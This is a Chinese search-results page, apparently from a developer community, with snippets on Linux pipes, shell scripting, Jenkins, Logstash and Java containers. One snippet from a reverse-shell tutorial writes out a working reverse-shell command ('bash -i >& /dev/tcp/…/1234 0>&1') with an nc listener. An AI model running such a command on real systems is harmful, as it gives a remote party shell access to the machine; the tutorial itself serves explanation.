首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

7.管道、管道、环境变量与其他常用命令

7.1 管道 概念: 管道类似于文件重定向,可以将前一个命令的 stdout 重定向到下一个命令的 stdin。 要点: 管道命令仅处理 stdout,会忽略 stderr。...管道右边的命令必须能接受 stdin。 多个管道命令可以串联。 与文件重定向的区别: 文件重定向左边为命令,右边为文件。 管道左右两边均为命令,左边有 stdout,右边有 stdin。...当某个可执行文件同时出现在多个路径中时,会选择从左到右数第一个路径中的执行。下列所有存储路径的环境变量,均采用从左到右的优先顺序。...wc:统计行数、单词数、字节数 既可以从stdin中直接读入内容;也可以在命令行参数中传入文件名列表; wc -l:统计行数 wc -w:统计单词数 wc -c:统计字节数 tree:展示当前目录的文件结构...内容存放在 ~/.bash_history 中 工具: md5sum:计算md5哈希值 可以从 stdin 读入内容 也可以在命令行参数中传入文件名列表; time command:统计 command

65030
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    一、问题

    /usr/local/joshua317-test-core-1.0-SNAPSHOT.jar & 也就是说当通过Jenkins构建完后推送到业务服务器,在执行脚本时,脚本中的 nohup 命令无法正常退出...脚本的时候出现了问题。...set +e: 执行的时候如果出现了返回值为非零将会继续执行下面的脚本 五、扩展 1.Jenkins里执行shell脚本时,要注意使用全路径 /bin/sh /usr/local/service/start.sh.../bin/bash .... 3.使用jenkins执行shell脚本时,如果有nohup命令时,需要加上BUILD_ID=dontKillMe以及nohup后面 需要后面加上2>&1 & 注意:BUILD_ID...命令 “nohup java -jar xxx.jar > nohup.out &” 部分,表示不挂断运行命令,当账户退出或终端关闭时,程序仍然运行,并且该作业的所有输出被重定向到nohup.out的文件中

    1.3K10

    编程小技巧之 Linux 文本处理命令

    本文简单的介绍三个能使用 Linux 文本处理命令的场景,给大家开阔一下思路。希望大家阅读完这篇文章之后,要多加实践,将这些技巧内化到自己的日常工作习惯中,真正的提高效率。...程序员日常工作中往往要处理一些数据和文本,比如说统计一些服务日志文件信息,根据数据库数据生成一些处理数据的SQL和搜索文件内容等。...日志文件处理数据 在工作中,我们往往需要对一些具有固定格式的文件进行信息统计,比如说根据 nginx 的 access.log 文件数据,计算出每个后端 API 接口的调用次数,并且排序。...下面是一段在多个项目中统计某些关键词出现次数,并打印出文件名的 bash 脚本。 #!...现在大家在回头看一下这段 bash 脚本,是不是大致了解它执行的过程和原理啦。

    67820

    编程小技巧之 Linux 文本处理命令

    本文简单的介绍三个能使用 Linux 文本处理命令的场景,给大家开阔一下思路。希望大家阅读完这篇文章之后,要多加实践,将这些技巧内化到自己的日常工作习惯中,真正的提高效率。...程序员日常工作中往往要处理一些数据和文本,比如说统计一些服务日志文件信息,根据数据库数据生成一些处理数据的SQL和搜索文件内容等。...-F ‘^A’ ‘{if($6>1) print $0}’ #查找耗时超过 1s 的慢请求 数据库SQL 在业务迭代过程中,有些数据库数据可能需要使用脚本去修改,这是我们可以要根据一些数据生成对应的...下面是一段在多个项目中统计某些关键词出现次数,并打印出文件名的 bash 脚本。 #!...现在大家在回头看一下这段 bash 脚本,是不是大致了解它执行的过程和原理啦。

    59200

    ELK学习笔记之Logstash详解

    简单来说logstash就是一根具备实时数据传输能力的管道,负责将数据信息从管道的输入端传输到管道的输出端;与此同时这根管道还可以让你根据自己的需求在中间加上滤网,Logstash提供里很多功能强大的滤网以满足你的各种应用场景...的主要优势,一个是在支持各类插件的前提下提供统一的管道进行日志处理(就是 input-filter-output 这一套),二个是灵活且性能不错 logstash里面最基本的概念(先不管codec)...使用基于消息的简单架构,在 JVM 上运行。.../bin/java -version 配置JAVA_HOME环境变量 [root@root ~]$ cd ~ [root@root ~]$ vi .bash_profile # .bash_profile...“client: 127.0.0.1”的结果,前提安装了IP表达式;如果你在捕获数据时想进行数据类型转换可以使用%{NUMBER:num:int}这种语法,默认情况下,所有的返回结果都是string类型

    5.5K41

    编程小技巧之 Linux 文本处理命令

    本文简单的介绍三个能使用 Linux 文本处理命令的场景,给大家开阔一下思路。希望大家阅读完这篇文章之后,要多加实践,将这些技巧内化到自己的日常工作习惯中,真正的提高效率。...程序员日常工作中往往要处理一些数据和文本,比如说统计一些服务日志文件信息,根据数据库数据生成一些处理数据的SQL和搜索文件内容等。...日志文件处理数据 在工作中,我们往往需要对一些具有固定格式的文件进行信息统计,比如说根据 nginx 的 access.log 文件数据,计算出每个后端 API 接口的调用次数,并且排序。...下面是一段在多个项目中统计某些关键词出现次数,并打印出文件名的 bash 脚本。 #!...现在大家在回头看一下这段 bash 脚本,是不是大致了解它执行的过程和原理啦。

    61710

    Linux进阶命令和Shell编程

    1.高级文本命令——sed1.1sed简介 sed全称是:Stream EDitor,即流编辑器,是一个很好的文本处理工具,本身是一个管道命令,处理时,把当前处理的行存储在临时缓冲区中,接着用sed命令处理缓冲区中的内容...接着处理下一行。它是以行为单位进行处理,可以将数据行进行替换、删除、新增、选取等特定工作。 1.2sed选项 -n :使用安静(silent)模式。...在一般 sed 的用法中,所有来自 STDIN 的数据一般都会被列出到终端上。但如果加上 -n 参数后,则只有经过sed 特殊处理的那一行(或者动作)才会被列出来。...声明静态变量; 使用export可将自定义变量提升为全局变量,例如我们在配置jdk时,就会把JAVA_HOME提升为系统变量。...4.5read命令 命令规则:read -p "提示语句" 参数,这个类似于java中的Scanner,就是获取用户在控制台输入的内容。

    1.7K80

    Linux环境反弹shell原理与姿势

    (stdin)从默认设备(通常是键盘)重定向到其他数据源(例如:文件或其他命令输出)的机制,它允许用户在命令行中使用文件作为输入,而无需手动输入数据,在Linux命令行中输入重定向通常使用"的输出保存到文件中或者将输出传递给另一个命令进行处理,输出重定向通常使用>或>>符号: (1) 使用 >:将命令的输出写入指定文件,若文件存在则会覆盖该文件 #命令格式 command...在Linux中我们最常用的反弹shell手法就是通过Bash进行反弹shell,下面进行一个简单的演示: Step 1:在Attacker机器上执行 nc -lvp 1234 Step 2:在攻击者主机上执行以下命令反弹...shell bash -i >& /dev/tcp/192.168.204.144/1234 0>&1 Step 3:随后可以看到在攻击机上出现了受害者机器的shell 命令解释: 1、bash -i...bash:启动一个新的Bash shell的命令 -i:此选项表示以交互模式启动Bash shell,交互模式允许用户输入命令并立即接收输出,这使得在远程连接时更加灵活和实用 2、>& >:表示重定向输出

    10910

    linux bash shell 特殊字符大全

    /bin/bash; 2. 其他地方作为注释使用,在一行中,#后面的内容并不会被执行,除非; 3. 但是用单/双引号包围时,#作为#号字符本身,不具有注释作用。...注意,在使用的时候需要用双引号将$*,$@括住。这两个变量受到$IFS的影响,如果在实际应用中,要考虑其中的一些细节。 $# 表示传递给脚本的参数数量。 $?...这个也被称为Here-document,用来将后继的内容重定向到左侧命令的stdin中。的处理更容易。...注意,在使用的时候需要用双引号将$*,$@括住。这两个变量受到$IFS的影响,如果在实际应用中,要考虑其中的一些细节。 $# 表示传递给脚本的参数数量。 $?...这个也被称为Here-document,用来将后继的内容重定向到左侧命令的stdin中。的处理更容易。

    6.6K30

    Elastic 技术栈之 Logstash 基础

    125 pipeline.batch.delay 创建管道事件批处理时,在将一个尺寸过小的批次发送给管道工作任务之前,等待每个事件需要多长时间(毫秒)。...false config.support_escapes 当设置为true时,带引号的字符串将处理转义字符。 false modules 配置时,模块必须处于上表所述的嵌套YAML结构中。...接下来,我们来实战一些常见的应用场景。 传输控制台数据 stdin input 插件从标准输入读取事件。这是最简单的 input 插件,一般用于测试场景。...-f 来指定你的配置文件:bin/logstash -f logstash-input-udp.conf java 应用配置 (1)在 Java 应用的 pom.xml 中引入 jar 包: 与 TCP...实例:我的logback.xml 传输文件 在 Java Web 领域,需要用到一些重要的工具,例如 Tomcat 、Nginx 、Mysql 等。

    2.5K60

    收藏~ 一篇教会你写90%的shell脚本

    在公司项目的开发过程中,需要编写shell脚本去处理一个业务,在编写过程中发现自身对shell脚本的知识不够完善,顾整理一下,本文章主要内容来自菜鸟教程 , 也添加了一些知识点 看完这边文章应该就可以独立完成大部分脚本得编写...shell脚本就是由Shell命令组成的执行文件,将一些命令整合到一个文件中,进行处理业务逻辑,脚本不用编译即可运行。它通过解释器解释运行,所以速度相对来说比较慢。...shell脚本中最重要的就是对shell命令的使用与组合,再使用shell脚本支持的一些语言特性,完成想要的功能。...(可以使用,不推荐) [[ ]]:中括号旁边和运算符两边必须添加空格 (字符串验证时,推荐使用) (()) : 中括号旁边和运算符两边必须添加空格 (数字验证时,推荐使用) [[]] 和 (()) 分别是...-N 不输出列信息 -B 使用tab键 代替 分隔符 -e 执行的SQL语句 退出脚本 命令:exit 在退出脚本时使用不同的错误码,这样可以根据错误码来判断发生了什么错误。

    2.3K10

    Java 应用容器化最佳实践

    在很多原始的 Java 项目中通常会存在一个启动运行脚本, 这些脚本可能是自行编写的, 也可能是一些比较老的 Tomcat 启动脚本等; 当我们使用脚本启动并且没有合理的调整 Dockerfile 时就会出现信号无法正确传递的问题...-c 执行一些简单命令时, 其行为会跟 exec 很相似, 也会把子进程命令替换到父进程从而让 -c 后的命令直接接受到系统信号; 但需要注意的是, 这种方式不一定百分百成功, 比如当 -c 后面的命令中含有管道...因为这两个版本在不设置的情况下有个奇怪的差异: 可以看到, 11.0.16 版本在不做任何设置时自动适应了容器内存限制, 堆内存从接近 4G 变为了 120M。...分析与总结 经过上面的一些测试后会发现, 在很多文章或文档中描述的参数出现了莫名其妙不好使的情况; 这主要是因为容器化这两年一个很重要的更新: Cgroups v2; 限于篇幅问题这里不在一一罗列测试截图...关于 Cgroups V2 的一些支持细节具体请查看 JDK-8230305[5]: DNS 缓存 在大部分 Java 程序中我们都会使用域名去访问一些服务, 可能是访问某些 API 端点或者是访问一些数据库

    2.1K30

    一篇教会你写90%的shell脚本!

    在公司项目的开发过程中,需要编写shell脚本去处理一个业务,在编写过程中发现自身对shell脚本的知识不够完善,顾整理一下,本文章主要内容来自菜鸟教程 , 也添加了一些知识点 看完这边文章应该就可以独立完成大部分脚本得编写...shell脚本就是由Shell命令组成的执行文件,将一些命令整合到一个文件中,进行处理业务逻辑,脚本不用编译即可运行。它通过解释器解释运行,所以速度相对来说比较慢。...shell脚本中最重要的就是对shell命令的使用与组合,再使用shell脚本支持的一些语言特性,完成想要的功能。...(可以使用,不推荐) [[ ]]:中括号旁边和运算符两边必须添加空格 (字符串验证时,推荐使用) (()) : 中括号旁边和运算符两边必须添加空格 (数字验证时,推荐使用) [[]] 和 (()) 分别是...-N 不输出列信息 -B 使用tab键 代替 分隔符 -e 执行的SQL语句 退出脚本 命令:exit 在退出脚本时使用不同的错误码,这样可以根据错误码来判断发生了什么错误。

    1.9K01

    --shell中重定向和管道符(详细介绍)

    ——前言—— 在Shell编程中,重定向和管道符是两个极其重要的概念,它们让你能够高效地管理输入输出流,并实现强大的命令组合。...例如,使用passwd命令为用户设置密码时,每次都必须根据提示输入两次密码字串,非常烦琐,若改用重定向输入将可以省略交互式的过程,而自动完成密码设置(结合passwd命令的“--stdin”选项来识别标准输入...3.管道操作 管道(pipe)操作为不同命令之间的协同工作提供了一种机制,位于管道符号“|”左侧的命令输出的结果,将作为右侧命令的输入(处理对象),同一行命令中可以使用多个管道。...在 Shell 脚本应用中,管道操作通常用来过滤所需要的关键信息。...例如,使用 grep 命令查询使用/bin/bash 作为 Shell 的用户名称时,会输出符合条件的整行内容,在此基础上可以结合管道操作与awk 命令做进一步过滤,只输出用户名和登录 Shell 列。

    13420

    shell-编写shell脚本所需的基础语法

    shell脚本就是由Shell命令组成的执行文件,将一些命令整合到一个文件中,进行处理业务逻辑,脚本不用编译即可运行。它通过解释器解释运行,所以速度相对来说比较慢。...shell脚本中最重要的就是对shell命令的使用与组合,再使用shell脚本支持的一些语言特性,完成想要的功能。...使用[[ … ]]条件判断结构,而不是[ … ],能够防止脚本中的许多逻辑错误。比如,&&、||、 操作符能够正常存在于[[ ]]条件判断结构中,但是如果出现在[ ]结构中的话,会报错。...-N 不输出列信息 -B 使用tab键 代替 分隔符 -e 执行的SQL语句 退出脚本 命令:exit 在退出脚本时使用不同的错误码,这样可以根据错误码来判断发生了什么错误。...如果脚本是有状态的(每个后续步骤都依赖前一个步骤),那么请使用set -e,在脚本出现错误时立即退出脚本。 如果要求所有命令都要执行完(很少会这样),那么就使用set +e。

    89920

    神奇的 Solaris pipe

    /pipe)是个普通文件,打开读写都是磁盘IO; 在fattach调用之后,这个文件就变身成为一个管道了,打开读写都是内存流操作,且管道的另一端就是attach的那个进程。...都是基于STREAMS技术构建, 而STREAMS是支持灵活的PUSH、POP流处理模块的,再加上STREAMS传递文件fd的能力,就可以支持类似tcp中accept的能力。...即每个open pipe文件的进程,得到的不是原来管道的fd,而是新创建管道的fd,而管道的另一侧fd则通过已有的管道发送到attach进程, 后者使用这个新的fd与客户进程通讯。...,首先确保pipe文件存在且可读写,然后创建普通的pipe,在fattach调用之前必需先PUSH一个connld模块到该pipe STREAM中。...再看下脚本中四个进程的输出: -bash-3.2$ .

    1K20
    领券